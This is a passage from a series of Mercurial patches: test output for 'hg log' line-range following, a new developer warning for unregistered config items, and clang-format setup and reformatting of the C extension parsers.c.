+  +3
+  +4
+  
+
+Regular file patterns are allowed with -L and their diff shows all lines.
+
+  $ hg log -f -L foo,5-7 -p bar
+  changeset:   5:cfdf972b3971
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+
+  
+  diff --git a/bar b/bar
+  --- a/bar
+  +++ b/bar
+  @@ -1,4 +1,4 @@
+  -a
+  +a+
+   b
+   c
+   d
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -4,7 +4,7 @@
+   0
+    1
+   2+
+  -3
+  +3+
+   4
+   5
+   6
+  
+  changeset:   2:63a884426fd0
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     2 -> 2+; added bar
+  
+  diff --git a/bar b/bar
+  new file mode 100644
+  --- /dev/null
+  +++ b/bar
+  @@ -0,0 +1,5 @@
+  +a
+  +b
+  +c
+  +d
+  +e
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -3,6 +3,6 @@
+   0
+   0
+   1
+  -2
+  +2+
+   3
+   4
+  
+
+Option --rev acts as a restriction.
+
+  $ hg log -f -L foo,5-7 -p -r 'desc(2)'
+  changeset:   2:63a884426fd0
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     2 -> 2+; added bar
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -3,6 +3,6 @@
+   0
+   0
+   1
+  -2
+  +2+
+   3
+   4
+  
+  changeset:   0:5ae1f82b9a00
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     init
+  
+  diff --git a/foo b/foo
+  new file mode 100644
+  --- /dev/null
+  +++ b/foo
+  @@ -0,0 +1,5 @@
+  +0
+  +1
+  +2
+  +3
+  +4
+  
+
+With several -L patterns, changes touching any files in their respective line
+range are show.
+
+  $ hg log -f -L foo,5-7 -L bar,1-2 -p
+  changeset:   5:cfdf972b3971
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+
+  
+  diff --git a/bar b/bar
+  --- a/bar
+  +++ b/bar
+  @@ -1,4 +1,4 @@
+  -a
+  +a+
+   b
+   c
+   d
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -4,7 +4,7 @@
+   0
+    1
+   2+
+  -3
+  +3+
+   4
+   5
+   6
+  
+  changeset:   4:eaec41c1a0c9
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     11 -> 11+; leading space before "1"
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -2,7 +2,7 @@
+   0
+   0
+   0
+  -1
+  + 1
+   2+
+   3
+   4
+  
+  changeset:   2:63a884426fd0
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     2 -> 2+; added bar
+  
+  diff --git a/bar b/bar
+  new file mode 100644
+  --- /dev/null
+  +++ b/bar
+  @@ -0,0 +1,5 @@
+  +a
+  +b
+  +c
+  +d
+  +e
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -3,6 +3,6 @@
+   0
+   0
+   1
+  -2
+  +2+
+   3
+   4
+  
+  changeset:   0:5ae1f82b9a00
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     init
+  
+  diff --git a/foo b/foo
+  new file mode 100644
+  --- /dev/null
+  +++ b/foo
+  @@ -0,0 +1,5 @@
+  +0
+  +1
+  +2
+  +3
+  +4
+  
+
+Multiple -L options with the same file yields changes touching any of
+specified line ranges.
+
+  $ hg log -f -L foo,5-7 -L foo,14-15 -p
+  changeset:   5:cfdf972b3971
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -4,7 +4,7 @@
+   0
+    1
+   2+
+  -3
+  +3+
+   4
+   5
+   6
+  @@ -12,4 +12,4 @@
+   8
+   9
+   10
+  -11+
+  +11-
+  
+  changeset:   4:eaec41c1a0c9
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     11 -> 11+; leading space before "1"
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -2,7 +2,7 @@
+   0
+   0
+   0
+  -1
+  + 1
+   2+
+   3
+   4
+  @@ -12,4 +12,4 @@
+   8
+   9
+   10
+  -11
+  +11+
+  
+  changeset:   3:730a61fbaecf
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     to 11
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -6,3 +6,10 @@
+   2+
+   3
+   4
+  +5
+  +6
+  +7
+  +8
+  +9
+  +10
+  +11
+  
+  changeset:   2:63a884426fd0
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     2 -> 2+; added bar
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -3,6 +3,6 @@
+   0
+   0
+   1
+  -2
+  +2+
+   3
+   4
+  
+  changeset:   0:5ae1f82b9a00
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     init
+  
+  diff --git a/foo b/foo
+  new file mode 100644
+  --- /dev/null
+  +++ b/foo
+  @@ -0,0 +1,5 @@
+  +0
+  +1
+  +2
+  +3
+  +4
+  
+
+A file with a comma in its name.
+
+  $ cat > ba,z << EOF
+  > q
+  > w
+  > e
+  > r
+  > t
+  > y
+  > EOF
+  $ hg ci -Am 'querty'
+  adding ba,z
+  $ cat >> ba,z << EOF
+  > u
+  > i
+  > o
+  > p
+  > EOF
+  $ hg ci -m 'more keys'
+  $ cat > ba,z << EOF
+  > a
+  > z
+  > e
+  > r
+  > t
+  > y
+  > u
+  > i
+  > o
+  > p
+  > EOF
+  $ hg ci -m 'azerty'
+  $ hg log -f -L ba,z,1-2 -p
+  changeset:   8:52373265138b
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     azerty
+  
+  diff --git a/ba,z b/ba,z
+  --- a/ba,z
+  +++ b/ba,z
+  @@ -1,5 +1,5 @@
+  -q
+  -w
+  +a
+  +z
+   e
+   r
+   t
+  
+  changeset:   6:96ba8850f316
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     querty
+  
+  diff --git a/ba,z b/ba,z
+  new file mode 100644
+  --- /dev/null
+  +++ b/ba,z
+  @@ -0,0 +1,6 @@
+  +q
+  +w
+  +e
+  +r
+  +t
+  +y
+  
+
+Exact prefix kinds work in -L options.
+
+  $ mkdir dir
+  $ cd dir
+  $ hg log -f -L path:foo,5-7 -p
+  changeset:   5:cfdf972b3971
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -4,7 +4,7 @@
+   0
+    1
+   2+
+  -3
+  +3+
+   4
+   5
+   6
+  
+  changeset:   4:eaec41c1a0c9
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     11 -> 11+; leading space before "1"
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -2,7 +2,7 @@
+   0
+   0
+   0
+  -1
+  + 1
+   2+
+   3
+   4
+  
+  changeset:   2:63a884426fd0
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     2 -> 2+; added bar
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -3,6 +3,6 @@
+   0
+   0
+   1
+  -2
+  +2+
+   3
+   4
+  
+  changeset:   0:5ae1f82b9a00
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     init
+  
+  diff --git a/foo b/foo
+  new file mode 100644
+  --- /dev/null
+  +++ b/foo
+  @@ -0,0 +1,5 @@
+  +0
+  +1
+  +2
+  +3
+  +4
+  
+
+Renames are followed.
+
+  $ hg mv ../foo baz
+  $ sed 's/1/1+/' baz > baz.new
+  $ mv baz.new baz
+  $ hg ci -m 'foo -> dir/baz; 1-1+'
+  $ hg diff -c .
+  diff --git a/foo b/dir/baz
+  rename from foo
+  rename to dir/baz
+  --- a/foo
+  +++ b/dir/baz
+  @@ -2,7 +2,7 @@
+   0
+   0
+   0
+  - 1
+  + 1+
+   2+
+   3+
+   4
+  @@ -11,5 +11,5 @@
+   7
+   8
+   9
+  -10
+  -11-
+  +1+0
+  +1+1-
+  $ hg log -f -L relpath:baz,5-7 -p
+  changeset:   9:6af29c3a778f
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     foo -> dir/baz; 1-1+
+  
+  diff --git a/foo b/dir/baz
+  copy from foo
+  copy to dir/baz
+  --- a/foo
+  +++ b/dir/baz
+  @@ -2,7 +2,7 @@
+   0
+   0
+   0
+  - 1
+  + 1+
+   2+
+   3+
+   4
+  
+  changeset:   5:cfdf972b3971
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -4,7 +4,7 @@
+   0
+    1
+   2+
+  -3
+  +3+
+   4
+   5
+   6
+  
+  changeset:   4:eaec41c1a0c9
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     11 -> 11+; leading space before "1"
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -2,7 +2,7 @@
+   0
+   0
+   0
+  -1
+  + 1
+   2+
+   3
+   4
+  
+  changeset:   2:63a884426fd0
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     2 -> 2+; added bar
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -3,6 +3,6 @@
+   0
+   0
+   1
+  -2
+  +2+
+   3
+   4
+  
+  changeset:   0:5ae1f82b9a00
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     init
+  
+  diff --git a/foo b/foo
+  new file mode 100644
+  --- /dev/null
+  +++ b/foo
+  @@ -0,0 +1,5 @@
+  +0
+  +1
+  +2
+  +3
+  +4
+  
+Option --follow is required.
+
+  $ hg log -L foo,5-7
+  abort: --line-range requires --follow
+  [255]
+
+Non-exact pattern kinds are not allowed.
+
+  $ cd ..
+  $ hg log -f -L glob:*a*,1-2
+  hg: parse error: line range pattern 'glob:*a*' must match exactly one file
+  [255]
+
+Graph log does work yet.
+
+  $ hg log -f -L dir/baz,5-7 --graph
+  abort: graph not supported with line range patterns
+  [255]
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508168487 -7200
#      Mon Oct 16 17:41:27 2017 +0200
# Node ID 85a2db47ad50b72194a8ffe86660fbc6c33bd5db
# Parent  84c6b9384d6addd59f9d6d3bab6fda8a4201aecd
configitems: adds a developer warning when accessing undeclared configuration

Now that all known options are declared, we setup a warning to make sure it will
stay this way.

We disable the warning in two tests checking other behavior with random options.

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -249,6 +249,9 @@
 coreconfigitem('devel', 'user.obsmarker',
     default=None,
 )
+coreconfigitem('devel', 'warn-config-unknown',
+    default=None,
+)
 coreconfigitem('diff', 'nodates',
     default=False,
 )
diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -477,6 +477,10 @@
 
         if item is not None:
             alternates.extend(item.alias)
+        else:
+            msg = ("accessing unregistered config item: '%s.%s'")
+            msg %= (section, name)
+            self.develwarn(msg, 2, 'warn-config-unknown')
 
         if default is _unset:
             if item is None:
diff --git a/tests/test-devel-warnings.t b/tests/test-devel-warnings.t
--- a/tests/test-devel-warnings.t
+++ b/tests/test-devel-warnings.t
@@ -363,6 +363,8 @@
   >     repo.ui.config('test', 'some', 'foo')
   >     repo.ui.config('test', 'dynamic', 'some-required-default')
   >     repo.ui.config('test', 'dynamic')
+  >     repo.ui.config('test', 'unregistered')
+  >     repo.ui.config('unregistered', 'unregistered')
   > EOF
 
   $ hg --config "extensions.buggyconfig=${TESTTMP}/buggyconfig.py" buggyconfig
@@ -372,5 +374,7 @@
   devel-warn: specifying a default value for a registered config item: 'ui.interactive' 'None' at: $TESTTMP/buggyconfig.py:* (cmdbuggyconfig) (glob)
   devel-warn: specifying a default value for a registered config item: 'test.some' 'foo' at: $TESTTMP/buggyconfig.py:* (cmdbuggyconfig) (glob)
   devel-warn: config item requires an explicit default value: 'test.dynamic' at: $TESTTMP/buggyconfig.py:* (cmdbuggyconfig) (glob)
+  devel-warn: accessing unregistered config item: 'test.unregistered' at: $TESTTMP/buggyconfig.py:* (cmdbuggyconfig) (glob)
+  devel-warn: accessing unregistered config item: 'unregistered.unregistered' at: $TESTTMP/buggyconfig.py:* (cmdbuggyconfig) (glob)
 
   $ cd ..
diff --git a/tests/test-trusted.py b/tests/test-trusted.py
--- a/tests/test-trusted.py
+++ b/tests/test-trusted.py
@@ -67,6 +67,13 @@
                                      trusted))
 
     u = uimod.ui.load()
+    # disable the configuration registration warning
+    #
+    # the purpose of this test is to check the old behavior, not to validate the
+    # behavior from registered item. so we silent warning related to unregisted
+    # config.
+    u.setconfig('devel', 'warn-config-unknown', False, 'test')
+    u.setconfig('devel', 'all-warnings', False, 'test')
     u.setconfig('ui', 'debug', str(bool(debug)))
     u.setconfig('ui', 'report_untrusted', str(bool(report)))
     u.readconfig('.hg/hgrc')
@@ -157,6 +164,13 @@
 print()
 print("# read trusted, untrusted, new ui, trusted")
 u = uimod.ui.load()
+# disable the configuration registration warning
+#
+# the purpose of this test is to check the old behavior, not to validate the
+# behavior from registered item. so we silent warning related to unregisted
+# config.
+u.setconfig('devel', 'warn-config-unknown', False, 'test')
+u.setconfig('devel', 'all-warnings', False, 'test')
 u.setconfig('ui', 'debug', 'on')
 u.readconfig(filename)
 u2 = u.copy()
diff --git a/tests/test-ui-config.py b/tests/test-ui-config.py
--- a/tests/test-ui-config.py
+++ b/tests/test-ui-config.py
@@ -6,6 +6,15 @@
 )
 
 testui = uimod.ui.load()
+
+# disable the configuration registration warning
+#
+# the purpose of this test is to check the old behavior, not to validate the
+# behavior from registered item. so we silent warning related to unregisted
+# config.
+testui.setconfig('devel', 'warn-config-unknown', False, 'test')
+testui.setconfig('devel', 'all-warnings', False, 'test')
+
 parsed = dispatch._parseconfig(testui, [
     'values.string=string value',
     'values.bool1=true',
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1442256740 14400
#      Mon Sep 14 14:52:20 2015 -0400
# Node ID 2bf152128d5937752e108e541e713b5fe2f0fd23
# Parent  85a2db47ad50b72194a8ffe86660fbc6c33bd5db
makefile: add target to apply clang-format in-place

This makes it easy to reformat files after you finish editing them.

Differential Revision: https://phab.mercurial-scm.org/D1167

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -122,6 +122,10 @@
 check-code:
 	hg manifest | xargs python contrib/check-code.py
 
+format-c:
+	clang-format --style file -i \
+	  `hg files 'set:(**.c or **.h) and not "listfile:contrib/clang-format-blacklist"'`
+
 update-pot: i18n/hg.pot
 
 i18n/hg.pot: $(PYFILES) $(DOCFILES) i18n/posplit i18n/hggettext
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1429646543 14400
#      Tue Apr 21 16:02:23 2015 -0400
# Node ID d0912876d7a79a4168bb353edecfdd7a88cd3cf8
# Parent  2bf152128d5937752e108e541e713b5fe2f0fd23
parsers: protect some case-folding tables from clang-format

We want a slightly weird format here so that it's easier to read, but
in order to preserve that we need to disable clang-format.

Differential Revision: https://phab.mercurial-scm.org/D1168

diff --git a/mercurial/cext/charencode.c b/mercurial/cext/charencode.c
--- a/mercurial/cext/charencode.c
+++ b/mercurial/cext/charencode.c
@@ -23,6 +23,7 @@
 #define PyInt_AS_LONG PyLong_AS_LONG
 #endif
 
+/* clang-format off */
 static const char lowertable[128] = {
 	'\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07',
 	'\x08', '\x09', '\x0a', '\x0b', '\x0c', '\x0d', '\x0e', '\x0f',
@@ -64,6 +65,7 @@
 	'\x58', '\x59', '\x5a', 					/* x-z */
 				'\x7b', '\x7c', '\x7d', '\x7e', '\x7f'
 };
+/* clang-format on */
 
 /* 1: no escape, 2: \<c>, 6: \u<x> */
 static const uint8_t jsonlentable[256] = {
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508179775 14400
#      Mon Oct 16 14:49:35 2017 -0400
# Node ID 6ece4a85c35048468c82d60cfbb8c626c0f9defb
# Parent  d0912876d7a79a4168bb353edecfdd7a88cd3cf8
cext: add /* header */ comment to all PyVarObject_HEAD_INIT() calls

This gives clang-format the right notion about formatting these struct
initializers, therefore allowing us to automatically format several
additional files.

# skip-blame because this is just a content-free comment addition

Differential Revision: https://phab.mercurial-scm.org/D1169

diff --git a/mercurial/cext/manifest.c b/mercurial/cext/manifest.c
--- a/mercurial/cext/manifest.c
+++ b/mercurial/cext/manifest.c
@@ -262,7 +262,7 @@
 #endif
 
 static PyTypeObject lazymanifestEntriesIterator = {
-	PyVarObject_HEAD_INIT(NULL, 0)
+	PyVarObject_HEAD_INIT(NULL, 0) /* header */
 	"parsers.lazymanifest.entriesiterator", /*tp_name */
 	sizeof(lmIter),                  /*tp_basicsize */
 	0,                               /*tp_itemsize */
@@ -310,7 +310,7 @@
 #endif
 
 static PyTypeObject lazymanifestKeysIterator = {
-	PyVarObject_HEAD_INIT(NULL, 0)
+	PyVarObject_HEAD_INIT(NULL, 0) /* header */
 	"parsers.lazymanifest.keysiterator", /*tp_name */
 	sizeof(lmIter),                  /*tp_basicsize */
 	0,                               /*tp_itemsize */
@@ -890,7 +890,7 @@
 #endif
 
 static PyTypeObject lazymanifestType = {
-	PyVarObject_HEAD_INIT(NULL, 0)
+	PyVarObject_HEAD_INIT(NULL, 0) /* header */
 	"parsers.lazymanifest",                           /* tp_name */
 	sizeof(lazymanifest),                             /* tp_basicsize */
 	0,                                                /* tp_itemsize */
diff --git a/mercurial/cext/osutil.c b/mercurial/cext/osutil.c
--- a/mercurial/cext/osutil.c
+++ b/mercurial/cext/osutil.c
@@ -121,7 +121,7 @@
 }
 
 static PyTypeObject listdir_stat_type = {
-	PyVarObject_HEAD_INIT(NULL, 0)
+	PyVarObject_HEAD_INIT(NULL, 0) /* header */
 	"osutil.stat",             /*tp_name*/
 	sizeof(struct listdir_stat), /*tp_basicsize*/
 	0,                         /*tp_itemsize*/
diff --git a/mercurial/cext/parsers.c b/mercurial/cext/parsers.c
--- a/mercurial/cext/parsers.c
+++ b/mercurial/cext/parsers.c
@@ -195,7 +195,7 @@
 };
 
 PyTypeObject dirstateTupleType = {
-	PyVarObject_HEAD_INIT(NULL, 0)
+	PyVarObject_HEAD_INIT(NULL, 0) /* header */
 	"dirstate_tuple",          /* tp_name */
 	sizeof(dirstateTupleObject),/* tp_basicsize */
 	0,                         /* tp_itemsize */
diff --git a/mercurial/cext/revlog.c b/mercurial/cext/revlog.c
--- a/mercurial/cext/revlog.c
+++ b/mercurial/cext/revlog.c
@@ -1991,7 +1991,7 @@
 };
 
 static PyTypeObject indexType = {
-	PyVarObject_HEAD_INIT(NULL, 0)
+	PyVarObject_HEAD_INIT(NULL, 0) /* header */
 	"parsers.index",           /* tp_name */
 	sizeof(indexObject),       /* tp_basicsize */
 	0,                         /* tp_itemsize */
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508180037 14400
#      Mon Oct 16 14:53:57 2017 -0400
# Node ID d92dc725223bbde09963fc431e57d32a40c4167d
# Parent  6ece4a85c35048468c82d60cfbb8c626c0f9defb
parsers: allow clang-format here

# skip-blame because parsers.c is mechanically rewritten by
clang-format with no semantic change.

Differential Revision: https://phab.mercurial-scm.org/D1170

diff --git a/contrib/clang-format-blacklist b/contrib/clang-format-blacklist
--- a/contrib/clang-format-blacklist
+++ b/contrib/clang-format-blacklist
@@ -17,7 +17,6 @@
 mercurial/cext/manifest.c
 mercurial/cext/mpatch.c
 mercurial/cext/osutil.c
-mercurial/cext/parsers.c
 mercurial/cext/pathencode.c
 mercurial/cext/revlog.c
 # Vendored code that we should never format:
diff --git a/mercurial/cext/parsers.c b/mercurial/cext/parsers.c
--- a/mercurial/cext/parsers.c
+++ b/mercurial/cext/parsers.c
@@ -48,10 +48,8 @@
 	char *str, *start, *end;
 	int len;
 
-	if (!PyArg_ParseTuple(args, "O!O!s#:parse_manifest",
-			      &PyDict_Type, &mfdict,
-			      &PyDict_Type, &fdict,
-			      &str, &len))
+	if (!PyArg_ParseTuple(args, "O!O!s#:parse_manifest", &PyDict_Type,
+	                      &mfdict, &PyDict_Type, &fdict, &str, &len))
 		goto quit;
 
 	start = str;
@@ -65,14 +63,14 @@
 		zero = memchr(start, '\0', end - start);
 		if (!zero) {
 			PyErr_SetString(PyExc_ValueError,
-					"manifest entry has no separator");
+			                "manifest entry has no separator");
 			goto quit;
 		}
 
 		newline = memchr(zero + 1, '\n', end - (zero + 1));
 		if (!newline) {
 			PyErr_SetString(PyExc_ValueError,
-					"manifest contains trailing garbage");
+			                "manifest contains trailing garbage");
 			goto quit;
 		}
 
@@ -88,8 +86,7 @@
 			goto bail;
 
 		if (nlen > 40) {
-			flags = PyBytes_FromStringAndSize(zero + 41,
-							   nlen - 40);
+			flags = PyBytes_FromStringAndSize(zero + 41, nlen - 40);
 			if (!flags)
 				goto bail;
 
@@ -120,10 +117,10 @@
 }
 
 static inline dirstateTupleObject *make_dirstate_tuple(char state, int mode,
-						       int size, int mtime)
+                                                       int size, int mtime)
 {
-	dirstateTupleObject *t = PyObject_New(dirstateTupleObject,
-					      &dirstateTupleType);
+	dirstateTupleObject *t =
+	    PyObject_New(dirstateTupleObject, &dirstateTupleType);
 	if (!t)
 		return NULL;
 	t->state = state;
@@ -134,7 +131,7 @@
 }
 
 static PyObject *dirstate_tuple_new(PyTypeObject *subtype, PyObject *args,
-				    PyObject *kwds)
+                                    PyObject *kwds)
 {
 	/* We do all the initialization here and not a tp_init function because
 	 * dirstate_tuple is immutable. */
@@ -184,55 +181,55 @@
 }
 
 static PySequenceMethods dirstate_tuple_sq = {
-	dirstate_tuple_length,     /* sq_length */
-	0,                         /* sq_concat */
-	0,                         /* sq_repeat */
-	dirstate_tuple_item,       /* sq_item */
-	0,                         /* sq_ass_item */
-	0,                         /* sq_contains */
-	0,                         /* sq_inplace_concat */
-	0                          /* sq_inplace_repeat */
+    dirstate_tuple_length, /* sq_length */
+    0,                     /* sq_concat */
+    0,                     /* sq_repeat */
+    dirstate_tuple_item,   /* sq_item */
+    0,                     /* sq_ass_item */
+    0,                     /* sq_contains */
+    0,                     /* sq_inplace_concat */
+    0                      /* sq_inplace_repeat */
 };
 
 PyTypeObject dirstateTupleType = {
-	PyVarObject_HEAD_INIT(NULL, 0) /* header */
-	"dirstate_tuple",          /* tp_name */
-	sizeof(dirstateTupleObject),/* tp_basicsize */
-	0,                         /* tp_itemsize */
-	(destructor)dirstate_tuple_dealloc, /* tp_dealloc */
-	0,                         /* tp_print */
-	0,                         /* tp_getattr */
-	0,                         /* tp_setattr */
-	0,                         /* tp_compare */
-	0,                         /* tp_repr */
-	0,                         /* tp_as_number */
-	&dirstate_tuple_sq,        /* tp_as_sequence */
-	0,                         /* tp_as_mapping */
-	0,                         /* tp_hash  */
-	0,                         /* tp_call */
-	0,                         /* tp_str */
-	0,                         /* tp_getattro */
-	0,                         /* tp_setattro */
-	0,                         /* tp_as_buffer */
-	Py_TPFLAGS_DEFAULT,        /* tp_flags */
-	"dirstate tuple",          /* tp_doc */
-	0,                         /* tp_traverse */
-	0,                         /* tp_clear */
-	0,                         /* tp_richcompare */
-	0,                         /* tp_weaklistoffset */
-	0,                         /* tp_iter */
-	0,                         /* tp_iternext */
-	0,                         /* tp_methods */
-	0,                         /* tp_members */
-	0,                         /* tp_getset */
-	0,                         /* tp_base */
-	0,                         /* tp_dict */
-	0,                         /* tp_descr_get */
-	0,                         /* tp_descr_set */
-	0,                         /* tp_dictoffset */
-	0,                         /* tp_init */
-	0,                         /* tp_alloc */
-	dirstate_tuple_new,        /* tp_new */
+    PyVarObject_HEAD_INIT(NULL, 0)      /* header */
+    "dirstate_tuple",                   /* tp_name */
+    sizeof(dirstateTupleObject),        /* tp_basicsize */
+    0,                                  /* tp_itemsize */
+    (destructor)dirstate_tuple_dealloc, /* tp_dealloc */
+    0,                                  /* tp_print */
+    0,                                  /* tp_getattr */
+    0,                                  /* tp_setattr */
+    0,                                  /* tp_compare */
+    0,                                  /* tp_repr */
+    0,                                  /* tp_as_number */
+    &dirstate_tuple_sq,                 /* tp_as_sequence */
+    0,                                  /* tp_as_mapping */
+    0,                                  /* tp_hash  */
+    0,                                  /* tp_call */
+    0,                                  /* tp_str */
+    0,                                  /* tp_getattro */
+    0,                                  /* tp_setattro */
+    0,                                  /* tp_as_buffer */
+    Py_TPFLAGS_DEFAULT,                 /* tp_flags */
+    "dirstate tuple",                   /* tp_doc */
+    0,                                  /* tp_traverse */
+    0,                                  /* tp_clear */
+    0,                                  /* tp_richcompare */
+    0,                                  /* tp_weaklistoffset */
+    0,                                  /* tp_iter */
+    0,                                  /* tp_iternext */
+    0,                                  /* tp_methods */
+    0,                                  /* tp_members */
+    0,                                  /* tp_getset */
+    0,                                  /* tp_base */
+    0,                                  /* tp_dict */
+    0,                                  /* tp_descr_get */
+    0,                                  /* tp_descr_set */
+    0,                                  /* tp_dictoffset */
+    0,                                  /* tp_init */
+    0,                                  /* tp_alloc */
+    dirstate_tuple_new,                 /* tp_new */
 };
 
 static PyObject *parse_dirstate(PyObject *self, PyObject *args)
@@ -244,18 +241,16 @@
 	unsigned int flen, len, pos = 40;
 	int readlen;
 
-	if (!PyArg_ParseTuple(args, "O!O!s#:parse_dirstate",
-			      &PyDict_Type, &dmap,
-			      &PyDict_Type, &cmap,
-			      &str, &readlen))
+	if (!PyArg_ParseTuple(args, "O!O!s#:parse_dirstate", &PyDict_Type,
+	                      &dmap, &PyDict_Type, &cmap, &str, &readlen))
 		goto quit;
 
 	len = readlen;
 
 	/* read parents */
 	if (len < 40) {
-		PyErr_SetString(
-			PyExc_ValueError, "too little data for parents");
+		PyErr_SetString(PyExc_ValueError,
+		                "too little data for parents");
 		goto quit;
 	}
 
@@ -267,7 +262,7 @@
 	while (pos >= 40 && pos < len) {
 		if (pos + 17 > len) {
 			PyErr_SetString(PyExc_ValueError,
-					"overflow in dirstate");
+			                "overflow in dirstate");
 			goto quit;
 		}
 		cur = str + pos;
@@ -280,17 +275,18 @@
 		pos += 17;
 		cur += 17;
 		if (flen > len - pos) {
-			PyErr_SetString(PyExc_ValueError, "overflow in dirstate");
+			PyErr_SetString(PyExc_ValueError,
+			                "overflow in dirstate");
 			goto quit;
 		}
 
-		entry = (PyObject *)make_dirstate_tuple(state, mode, size,
-							mtime);
+		entry =
+		    (PyObject *)make_dirstate_tuple(state, mode, size, mtime);
 		cpos = memchr(cur, 0, flen);
 		if (cpos) {
 			fname = PyBytes_FromStringAndSize(cur, cpos - cur);
-			cname = PyBytes_FromStringAndSize(cpos + 1,
-							   flen - (cpos - cur) - 1);
+			cname = PyBytes_FromStringAndSize(
+			    cpos + 1, flen - (cpos - cur) - 1);
 			if (!fname || !cname ||
 			    PyDict_SetItem(cmap, fname, cname) == -1 ||
 			    PyDict_SetItem(dmap, fname, entry) == -1)
@@ -298,8 +294,7 @@
 			Py_DECREF(cname);
 		} else {
 			fname = PyBytes_FromStringAndSize(cur, flen);
-			if (!fname ||
-			    PyDict_SetItem(dmap, fname, entry) == -1)
+			if (!fname || PyDict_SetItem(dmap, fname, entry) == -1)
 				goto quit;
 		}
 		Py_DECREF(fname);
@@ -320,15 +315,14 @@
 
 /*
  * Build a set of non-normal and other parent entries from the dirstate dmap
-*/
+ */
 static PyObject *nonnormalotherparententries(PyObject *self, PyObject *args)
 {
 	PyObject *dmap, *fname, *v;
 	PyObject *nonnset = NULL, *otherpset = NULL, *result = NULL;
 	Py_ssize_t pos;
 
-	if (!PyArg_ParseTuple(args, "O!:nonnormalentries",
-			      &PyDict_Type, &dmap))
+	if (!PyArg_ParseTuple(args, "O!:nonnormalentries", &PyDict_Type, &dmap))
 		goto bail;
 
 	nonnset = PySet_New(NULL);
@@ -344,7 +338,7 @@
 		dirstateTupleObject *t;
 		if (!dirstate_tuple_check(v)) {
 			PyErr_SetString(PyExc_TypeError,
-					"expected a dirstate tuple");
+			                "expected a dirstate tuple");
 			goto bail;
 		}
 		t = (dirstateTupleObject *)v;
@@ -386,9 +380,8 @@
 	char *p, *s;
 	int now;
 
-	if (!PyArg_ParseTuple(args, "O!O!Oi:pack_dirstate",
-			      &PyDict_Type, &map, &PyDict_Type, &copymap,
-			      &pl, &now))
+	if (!PyArg_ParseTuple(args, "O!O!Oi:pack_dirstate", &PyDict_Type, &map,
+	                      &PyDict_Type, &copymap, &pl, &now))
 		return NULL;
 
 	if (!PySequence_Check(pl) || PySequence_Size(pl) != 2) {
@@ -408,7 +401,7 @@
 		if (c) {
 			if (!PyBytes_Check(c)) {
 				PyErr_SetString(PyExc_TypeError,
-						"expected string key");
+				                "expected string key");
 				goto bail;
 			}
